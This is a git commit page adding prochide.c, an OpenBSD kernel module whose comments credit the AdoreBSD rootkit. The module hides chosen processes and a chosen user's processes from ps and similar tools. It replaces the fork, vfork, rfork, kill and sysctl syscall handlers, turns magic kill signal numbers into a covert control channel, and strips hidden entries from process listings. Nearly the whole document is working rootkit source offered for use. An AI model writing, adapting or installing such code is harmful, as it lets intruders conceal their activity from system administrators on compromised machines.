diff options
author | Dimitri Sokolyuk <demon@dim13.org> | 2005-04-04 20:46:35 +0000 |
---|---|---|
committer | Dimitri Sokolyuk <demon@dim13.org> | 2005-04-04 20:46:35 +0000 |
commit | 18a9944dc9aab70eb933a35c5a19a0a05c6ce381 (patch) | |
tree | edac21413713538ee0392fdf6ee7c2e56eba3809 /prochide/prochide.c | |
parent | 05e15385a41f78afcf4f1ce2890cadbd840e64ed (diff) |
prochide LKM
Diffstat (limited to 'prochide/prochide.c')
-rw-r--r-- | prochide/prochide.c | 391 |
1 files changed, 391 insertions, 0 deletions
diff --git a/prochide/prochide.c b/prochide/prochide.c new file mode 100644 index 0000000..10a07bf --- /dev/null +++ b/prochide/prochide.c @@ -0,0 +1,391 @@ +/* + * prochide.c + * + * file: prochide.c + * + * process hiding LKM. Will hide any process + * from queries by libkvm functions such as + * those used by ps.c, etc. + * + * Credit goes to the openbsd source tree, + * bind, and bind's AdoreBSD from which i've + * cheated and learned from. Will add remainder + * of Adore functionality @ somepoint. + * + * Tested working under OpenBSD 2.9/x86 + * + * 9-21-01 + * + * mike@gravitino.net + */ + +#include <sys/param.h> +#include <sys/systm.h> +#include <sys/conf.h> +#include <sys/cdefs.h> +#include <sys/proc.h> +#include <sys/exec.h> +#include <sys/lkm.h> +#include <sys/syscall.h> +#include <sys/mount.h> +#include <sys/syscallargs.h> +#include <sys/sysctl.h> +#include <sys/ucred.h> + +/* + * some defs.. + */ +#define HIDDEN_FLAG 0x1000000 + +#define HIDEPID 0x400000 +#define SHOWPID 0x400001 +#define HIDEUID 0x400002 +#define SHOWUID 0x400003 + +/* + * syscall ptrs + */ +static sy_call_t *p_fork ; +static sy_call_t *p_rfork ; +static sy_call_t *p_vfork ; +static sy_call_t *p_kill ; +static sy_call_t *p_sysctl; + +/* + * function prototypes + */ +static int is_pid_hidden (pid_t pid); +static int hide_pid (pid_t pid); +static int show_pid (pid_t pid); + +/* + * static int to hold uid to hide (only 1 supported @ this time) + */ +static int hidden_uid; + +/* + * miscellaneous LKM =D + */ +MOD_MISC("prochide"); + +/* + * wrapper functions + */ +static int h_sys_fork (struct proc *p, void *uap, int *retval) +{ + pid_t pid; + + pid = sys_fork(p, uap, retval); + + if(pid > 0 && is_pid_hidden(p->p_pid)) + { + hide_pid(pid); + } + + return(pid); +} + +static int h_sys_rfork(struct proc *p, void *uap, int *retval) +{ + pid_t pid; + + pid = sys_rfork(p, uap, retval); + + if(pid > 0 && is_pid_hidden(p->p_pid)) + { + hide_pid(pid); + } + + return(pid); +} + +static int h_sys_vfork(struct proc *p, void *uap, int *retval) +{ + pid_t pid; + + pid = sys_vfork(p, uap, retval); + + if(pid > 0 && is_pid_hidden(p->p_pid)) + { + hide_pid(pid); + } + + return(pid); +} + +/* + * is process hidden flag set? + */ +static int is_pid_hidden(pid_t pid) +{ + struct proc *p = NULL; + + p = pfind(pid); + if(p == NULL) + { + return(0); + } + + return ((p->p_flag & HIDDEN_FLAG) ? 1 : 0); +} + +/* + * set process hidden flag + */ +static int hide_pid (pid_t pid) +{ + struct proc *p = NULL; + + /* + * lookup process + */ + p = pfind(pid); + if(p == NULL) + { + return(1); + } + + /* + * is pid already hidden? + */ + if(is_pid_hidden(pid)) + { + return(0); + } + + /* + * set hidden flag + */ + p->p_flag ^= HIDDEN_FLAG; + + return(0); +} + +/* + * unset process hidden flag + */ +static int show_pid (pid_t pid) +{ + struct proc *p = NULL; + + /* + * lookup process + */ + p = pfind(pid); + if(p == NULL) + { + return(1); + } + + /* + * is hidden flag already set? + */ + if(!is_pid_hidden(pid)) + { + return(0); + } + + /* + * unset hidden flag + */ + p->p_flag ^= HIDDEN_FLAG; + + return(0); +} + +/* + * hide/show processes & uid via kill syscall. see ph_cli.c + * for usage. + */ +static int h_sys_kill (struct proc *p, void *uap, int *retval) +{ + struct sys_kill_args *args = uap; + int ret; + + if(SCARG(args, signum) == HIDEPID) + { + ret = hide_pid(SCARG(args, pid)); + return(ret); + } + + if(SCARG(args, signum) == SHOWPID) + { + ret = show_pid(SCARG(args, pid)); + return(ret); + } + + if(SCARG(args, signum) == HIDEUID) + { + hidden_uid = SCARG(args, pid); + return(0); + } + + if(SCARG(args, signum) == SHOWUID) + { + hidden_uid = 0xCCCC; + return(0); + } + + return sys_kill(p, uap, retval); +} + +#define GETPROC() copyin(SCARG(args,old) + (idx * sizeof(kp)), &kp, sizeof(kp)); + +/* + * copy elements in process list over + * element containing proc info to be + * hidden. + */ +static int overlap(void *uaddr, int cnt) +{ + struct kinfo_proc kp; + int idx; + + for(idx=0; idx < cnt; ++idx) + { + copyin (uaddr + ((idx + 1) * sizeof(kp)), &kp, sizeof(kp)); + copyout(&kp, uaddr + (idx * sizeof(kp)), sizeof(kp)); + } +} + +/* + * sysctl wrapper - process output from libkvm + * and remove processes that are hidden or processes + * that belong to a hidden user. + */ +static int h_sys_sysctl(struct proc *p, void *uap, int *retval) +{ + struct sys___sysctl_args *args = uap; + struct kinfo_proc kp; + struct pcred *pc; + size_t nproc; + size_t tsize; + int *mib ; + int ret ; + int idx ; + int offset; + int cuid = p->p_cred->p_ruid; // caller's real uid + + // call function + ret = sys___sysctl(p, uap, retval); + + mib = SCARG(args, name); + + // process output - is process listing? + if(ret != -1 && + mib[0] == CTL_KERN && + mib[1] == KERN_PROC && + SCARG(args, old) != NULL) // not size getting calls.. + { + // get # of bytes comprising proc structs + copyin(SCARG(args, oldlenp), &nproc, sizeof(size_t)); + + // calc # of kinfo_proc structs + nproc /= sizeof(struct kinfo_proc); + tsize = nproc; + + /* + * remove hidden structs from output + */ + if(nproc > 0) + { + for(idx=0; idx < nproc; ++idx) + { + // copy idx into kp using macro + GETPROC(); + + /* + * show to hidden user but not to + * other users.. if no hidden user + * is set, show to nobody (unless + * their uid is 0xCCCC) + */ + if((cuid != hidden_uid && + is_pid_hidden(kp.kp_proc.p_pid)) || + (cuid != hidden_uid && + kp.kp_proc.p_cred->p_ruid == hidden_uid)) + { + // overlap hidden pid data + overlap(SCARG(args,old) + + (idx * sizeof(kp)), + nproc - idx - 1); + + // decrement size + --tsize; + --idx; + --nproc; + continue; + } + } + + tsize *= sizeof(struct kinfo_proc); + + // update len + copyout(&tsize, SCARG(args, oldlenp), sizeof(size_t)); + } + } + + return(ret); +} + +/* + * module load handler + */ +static int prochide_load (struct lkm_table *lkmtp, int cmd) +{ + if(cmd == LKM_E_LOAD) + { + /* + * save syscall ptrs + */ + p_fork = sysent[SYS_fork ].sy_call; + p_rfork = sysent[SYS_rfork ].sy_call; + p_vfork = sysent[SYS_vfork ].sy_call; + p_kill = sysent[SYS_kill ].sy_call; + p_sysctl = sysent[SYS___sysctl].sy_call; + + /* + * replace w/ prochide wrapper functions + */ + sysent[SYS_fork ].sy_call = h_sys_fork ; + sysent[SYS_rfork ].sy_call = h_sys_rfork ; + sysent[SYS_vfork ].sy_call = h_sys_vfork ; + sysent[SYS_kill ].sy_call = h_sys_kill ; + sysent[SYS___sysctl].sy_call = h_sys_sysctl; + + /* + * initialize hidden userid + */ + hidden_uid = 0xCCCC; + } + + return(0); +} + +/* + * module unload handler + */ +static int prochide_unload (struct lkm_table *lkmtp, int cmd) +{ + if(cmd == LKM_E_UNLOAD) + { + /* + * restore syscall ptrs + */ + sysent[SYS_fork ].sy_call = p_fork ; + sysent[SYS_rfork ].sy_call = p_rfork ; + sysent[SYS_vfork ].sy_call = p_vfork ; + sysent[SYS_kill ].sy_call = p_kill ; + sysent[SYS___sysctl].sy_call = p_sysctl; + } + + return(0); +} + +/* + * entry point / cmd dispatcher + */ +int prochide_handler(struct lkm_table *lkmtp, int cmd, int ver) +{ + DISPATCH(lkmtp, cmd, ver, prochide_load, prochide_unload, lkm_nofunc) +} |